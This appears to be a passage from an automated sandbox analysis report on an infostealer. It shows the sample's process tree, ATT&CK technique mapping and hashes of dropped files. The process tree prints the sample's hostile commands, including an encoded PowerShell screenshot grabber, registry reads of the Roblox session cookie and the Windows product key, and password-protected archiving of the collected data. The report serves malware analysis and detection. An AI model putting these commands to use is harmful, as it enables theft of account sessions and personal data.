AfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3528
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gujkiuqy\gujkiuqy.cmdline"
        5⤵
        
        PID:3824
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB93E.tmp" "c:\Users\Admin\AppData\Local\Temp\gujkiuqy\CSCEEDA49EDCB054C49A035E2A249D19031.TMP"
        6⤵
        
        PID:3596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4820
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4560
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2612
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1648
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:212
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:2080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:4612
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI30602\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\YUphp.zip" *"
    3⤵
    PID:4764
  - - C:\Users\Admin\AppData\Local\Temp\_MEI30602\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI30602\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\YUphp.zip" *
      4⤵
      Executes dropped EXE
      PID:3948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:1896
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3824
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:760
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:2364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4100
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:2604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:3284
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:5112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\_MEI30602\VCRUNTIME140.dll

Filesize
116KB

MD5
be8dbe2dc77ebe7f88f910c61aec691a

SHA1
a19f08bb2b1c1de5bb61daf9f2304531321e0e40

SHA256
4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83

SHA512
0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_bz2.pyd

Filesize
48KB

MD5
5cd942486b252213763679f99c920260

SHA1
abd370aa56b0991e4bfee065c5f34b041d494c68

SHA256
88087fef2cff82a3d2d2d28a75663618271803017ea8a6fcb046a23e6cbb6ac8

SHA512
6cd703e93ebccb0fd896d3c06ca50f8cc2e782b6cc6a7bdd12786fcfb174c2933d39ab7d8e674119faeca5903a0bfac40beffb4e3f6ca1204aaffefe1f30642c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_ctypes.pyd

Filesize
59KB

MD5
4878ad72e9fbf87a1b476999ee06341e

SHA1
9e25424d9f0681398326252f2ae0be55f17e3540

SHA256
d699e09727eefe5643e0fdf4be4600a1d021af25d8a02906ebf98c2104d3735d

SHA512
6d465ae4a222456181441d974a5bb74d8534a39d20dca6c55825ebb0aa678e2ea0d6a6853bfa0888a7fd6be36f70181f367a0d584fccaa8daa940859578ab2b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_decimal.pyd

Filesize
107KB

MD5
d60e08c4bf3be928473139fa6dcb3354

SHA1
e819b15b95c932d30dafd7aa4e48c2eea5eb5fcb

SHA256
e21b0a031d399ffb7d71c00a840255d436887cb761af918f5501c10142987b7b

SHA512
6cac905f58c1f25cb91ea0a307cc740575bf64557f3cd57f10ad7251865ddb88965b2ad0777089b77fc27c6d9eb9a1f87456ddf57b7d2d717664c07af49e7b58

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_hashlib.pyd

Filesize
35KB

MD5
edfb41ad93bc40757a0f0e8fdf1d0d6c

SHA1
155f574eef1c89fd038b544778970a30c8ab25ad

SHA256
09a0be93d58ce30fa7fb8503e9d0f83b10d985f821ce8a9659fd0bbc5156d81e

SHA512
3ba7d225828b37a141ed2232e892dad389147ca4941a1a85057f04c0ed6c0eab47b427bd749c565863f2d6f3a11f3eb34b6ee93506dee92ec56d7854e3392b10

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_lzma.pyd

Filesize
86KB

MD5
25b96925b6b4ea5dd01f843ecf224c26

SHA1
69ba7c4c73c45124123a07018fa62f6f86948e81

SHA256
2fbc631716ffd1fd8fd3c951a1bd9ba00cc11834e856621e682799ba2ab430fd

SHA512
97c56ce5040fb7d5785a4245ffe08817b02926da77c79e7e665a4cfa750afdcb7d93a88104831944b1fe3262c0014970ca50a332b51030eb602bb7fb29b56ae3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_queue.pyd

Filesize
26KB

MD5
c2ba2b78e35b0ab037b5f969549e26ac

SHA1
cb222117dda9d9b711834459e52c75d1b86cbb6e

SHA256
d8b60222732bdcedddbf026f96bddda028c54f6ae6b71f169a4d0c35bc911846

SHA512
da2bf31eb6fc87a606cbaa53148407e9368a6c3324648cb3df026a4fe06201bbaab1b0e1a6735d1f1d3b90ea66f5a38d47daac9686520127e993ecb02714181f

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_socket.pyd

Filesize
44KB

MD5
aa8435614d30cee187af268f8b5d394b

SHA1
6e218f3ad8ac48a1dde6b3c46ff463659a22a44e

SHA256
5427daade880df81169245ea2d2cc68355d34dbe907bc8c067975f805d062047

SHA512
3ccf7ec281c1dc68f782a39f339e191a251c9a92f6dc2df8df865e1d7796cf32b004ea8a2de96fe75fa668638341786eb515bac813f59a0d454fc91206fee632

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\_sqlite3.pyd

Filesize
57KB

MD5
81a43e60fc9e56f86800d8bb920dbe58

SHA1
0dc3ffa0ccbc0d8be7c7cbae946257548578f181

SHA256
79977cbda8d6b54868d9cfc50159a2970f9b3b0f8df0ada299c3c1ecfdc6deb0

SHA512
d3a773f941f1a726826d70db4235f4339036ee5e67667a6c63631ff6357b69ba90b03f44fd0665210ee243c1af733c84d2694a1703ebb290f45a7e4b1fc001c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-console-l1-1-0.dll

Filesize
18KB

MD5
e4a519ef5d0a378ea82c423fe1e4586e

SHA1
ae69723c2540eb1c13ef047c3df25e103e6ec1d9

SHA256
5c1cbd16acf9191f17525f5dd887d944b4eb0083c5ec1adb68ce1b82639182ae

SHA512
6be292efb363b5e00b4f303621a90d6ea20cf3512e3538508c58bc12f6ac024080eb9f0bc2ea112935ad0a955b05d19d784d22de815ba0c2b4feaf6412d11a07

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-datetime-l1-1-0.dll

Filesize
18KB

MD5
b3f46f0820b641c5a9a9d0a4bfc94355

SHA1
1aa8579aa13d4075c4082245317cb1dcc4ba6b4e

SHA256
e353ecf9deb083da0f00f40f2fe99cc4eea4a904e7118a1cac4ef6e43f89b154

SHA512
67a678e125e9e0ce0b9c5fed35cad0513c3b5ff6f86760b32991cfeff5234ec65840c808be2911d57876d8c49076302033e8dcb5032a05f4c0e11964d81b33e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-debug-l1-1-0.dll

Filesize
18KB

MD5
f91f7dc238de2c03dc64aa5d2e3b4e49

SHA1
53b1fe15e7a9800456f063e8dbd11f240f6095a3

SHA256
d3b5273eccc758493c9cfac5cc43ea74f08216bb1c195609ab27e9b2a241d8b3

SHA512
d8db7213a4bb58bb497d4ee2d06a021a607436ca691462d0dc0c06c17ae345349d03406729a399d2931715cb6dc5a653247851dce701a02e254d8a258bea7fcb

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-errorhandling-l1-1-0.dll

Filesize
18KB

MD5
31990aaab1aeeae6bff96eaf3809eda9

SHA1
aa2cd6fab320643eaeb41303d5b3a802cd2365da

SHA256
d71714c34fabf8a93ae316a0d8679bb8cdc843f6128c9afd42e18e0de70b1a91

SHA512
d25baf53f667d8e2239141c846a59c08636b887c8c11ba60b61992f91765c0a3cf9a993fc2017191b9cd8f0735b6c9af19bb0ecd8eff16d293f17cdc1d3b9059

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-file-l1-1-0.dll

Filesize
21KB

MD5
b90485eb6d2e835f975c6f1011be880f

SHA1
714ff49459f0c0743d2d8c6784e6d28ea7f81599

SHA256
72e79ce895ab6506d2c85bcd1709ef6a250b63c990c76c9df530ec4e5b5cbb6a

SHA512
78d09d109b3f5d796aa1f7148437a9ba49062c011fea4a0cda43ef7616176f1ad3c00aeb8b204b264e6bbd27c66afc710e221536529f0a66bf65424c52de15ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-file-l1-2-0.dll

Filesize
18KB

MD5
19df2b0f78dc3d8c470e836bae85e1ff

SHA1
03f2b5b848a51ee52980bf8595c559b89865de07

SHA256
bd9e07bbc62ce82dbc30c23069a17fbfa17f1c26a9c19e50fe754d494e6cd0b1

SHA512
c1c2b97f484e640bfdda17f7ed604d0583c3d4eaf21abf35491ccedc37fa4866480b59a692776687e5fda3eaeafb4c7bdb34dec91f996fd377a328a89c8d5724

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-file-l2-1-0.dll

Filesize
18KB

MD5
adb3471f89e47cd93b6854d629906809

SHA1
2cfc0c379fd7f23db64d15bdff2925778ff65188

SHA256
355633a84db0816ab6a340a086fb41c65854c313bd08d427a17389c42a1e5b69

SHA512
f53e11aa35911d226b676d454e873d0e84c189dd1caea8a0fe54d738933cd6b139eca48630f37f5979ef898950d99f3277cba6c7a697103f505d876bea62818c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-handle-l1-1-0.dll

Filesize
18KB

MD5
968c1759f5d4aa2bed859a2df67acc8f

SHA1
2890a554fd106cc6572213e55c3a932be6eaadcd

SHA256
8a52a26afaf4d7cd698cf79dcd339ec3f1b3ab3c0031a8ae9064d50f63462b99

SHA512
cd903b6909d7a55e3b1b3c6894d3774bac758279bb7b62dcd6b94dc8991e98106f59dda9f3e312a1d8d3de17383d905f33bdfb96992517bcfd9b8fa52b3f7de2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-heap-l1-1-0.dll

Filesize
18KB

MD5
11a672968ce4879767afaf573e4ede0c

SHA1
79abb1976f249f6b45014fd692af6fca4e3ded06

SHA256
6a803d6cbe4dcbb6e4c9e8b8945d92d7edbd1f51cfb875d3d6c312d83840dde2

SHA512
460bb15ac2baa8d802988cc9a22ad68acf413aa1e0584c451c686ac5a86055007cc35ba0035464811179a0e0641b28a77b6a306873eb803b0719cc7857a8b9c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-interlocked-l1-1-0.dll

Filesize
18KB

MD5
7ee0013d07ed45c081df41e64ab14889

SHA1
5f4543e008cbe86c0f14e2bfc2f803cf38d34c40

SHA256
26f90d2086687edf6fc02be5dcfd7575faad2022c3d716cdd0b5ca3e70a3c022

SHA512
7c083a20ea9fa3903234abc642730527ef68f96b05732d8befd8d6daf1204bfdcc51fa1996fa2fb8d532825142b4fca3fd9c4ce5be43fa9a3edc2ad8afed6c34

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-libraryloader-l1-1-0.dll

Filesize
18KB

MD5
3e3a777cad2aafde613836ee88179a58

SHA1
fe55ffef83601f654504f0a2256e11e1913635db

SHA256
4a02983d6632c2fb92409d56269ca9a5bb0c31d33a8f2a89b0ab847d263c3f96

SHA512
e217d4fc5bc832623cea21c86b74b97018d1bfad46e65cef36476f6e2ebec7dcfe814c0d848182e9fd8dd3cb26eef04ba9b77df394501b1d808f6cd689aa813d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-localization-l1-2-0.dll

Filesize
20KB

MD5
6b4f2ca3efceb2c21e93f92cdc150a9d

SHA1
2532af7a64ef4b5154752f61290dcf9ebeea290f

SHA256
b39a515b9e48fc6589703d45e14dcea2273a02d7fa6f2e1d17985c0228d32564

SHA512
63a42dd1cb95fd38ddde562108c78e39cb5d7c9406bf749339e717c2cd866f26268d49b6bd966b338de1c557a426a01a24c2480f64762fef587bc09d44ada53b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-memory-l1-1-0.dll

Filesize
18KB

MD5
d14c0b3bc3032a043ddffbc39d26db7c

SHA1
c196d43f13c6bf8f0596e3c9b9f54a555099ed48

SHA256
d699e0c0de1d2f12bb69b3d464faa7ad4734d18a3e725877d8a96aabf29c0542

SHA512
a4913cc0ed609764c9c5ebdb46d888af332394fd8efc9be173b2795f2ac00901b3f7643d83ebd2faf0ddc5fd75df5520687daa5b85a2b9a2f9775accecb7aaa9

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-namedpipe-l1-1-0.dll

Filesize
18KB

MD5
627327251bc258aa258848de32b698ba

SHA1
dd5831226ba1ed697cb1b74b3a4136ca17aba19a

SHA256
5ebd891df029e795372f8665db7f15b4964d434aa8d58eb2b50634bc58d74132

SHA512
874a76efd19d1ad5f479b975bfe23ae70b3049f872d7371b461de48f3f3a2f76346d6eab406529b32d05fa0894b716ddd2f27980b8e5332b241dce168afc9261

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-processenvironment-l1-1-0.dll

Filesize
19KB

MD5
f4f8bd9a68cecff1d22204d29cf8a914

SHA1
1fbd4fc3c3edae151ee2d4ad4861a6667a736f44

SHA256
6088c2aa22ae8a579518c347163571e243d9a74d542176d63520f370040382e3

SHA512
3d9da1e0d4531cb006ba72d0afaf49bc54a4db9f782125a375444b1e97d012d4caf6bdd26128614362137c6aac616ce6d84bda24c629a4e59b55347f69b12b5c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-processthreads-l1-1-0.dll

Filesize
20KB

MD5
c12244db4c14058f457bfb3b9a1fd21f

SHA1
8c96972da78b6424958cf976dc7313497ebeaeb5

SHA256
bc5ddb364256a38e57b21b1a16b5736a8eacbae32b4c3760514cf51629066881

SHA512
da1bb9099e5fa0c65ae361ef10bd06199b76132bb40cfc3078824fcdfb8032ff745ca852edf65ec5e0e948d5e1413cc219bbba366906d417095b9e46bdea6011

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-processthreads-l1-1-1.dll

Filesize
18KB

MD5
247061d7c5542286aeddade76897f404

SHA1
7285f85440b6eff8731943b73502f58ae40e95a2

SHA256
ccb974c24ddfa7446278ca55fc8b236d0605d2caaf273db8390d1813fc70cd5b

SHA512
23ef467f6bb336d3e8c38000d30a92dac68e2662891863475ff18dbddbbbce909c12d241b86dbdea085e7d19c82cd20d80a60ffb2845f6afebedf06507afe5bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30602\api-ms-win-core-profile-l1-1-0.dll

Filesize
17KB

MD5
f8a266ba5362a17c89df60b5b5ebef41

SHA1
7f3f9d5875ef3c2d79667a1231d85d9eb619fbc9

SHA256
753494588fa1c14146a9a3f7d0f02ddd0a6850ba6a719e2513a64cf9dbf1ae7d

SHA512
12bebb1186974a9974aaae5630d0957f339c96add2d8bb4bb35ee4b97873fd8d23d73e427ccdee984f0baa79aa2406b25ed198e2e7ad8212ee087be8229c0be9

Download Submit
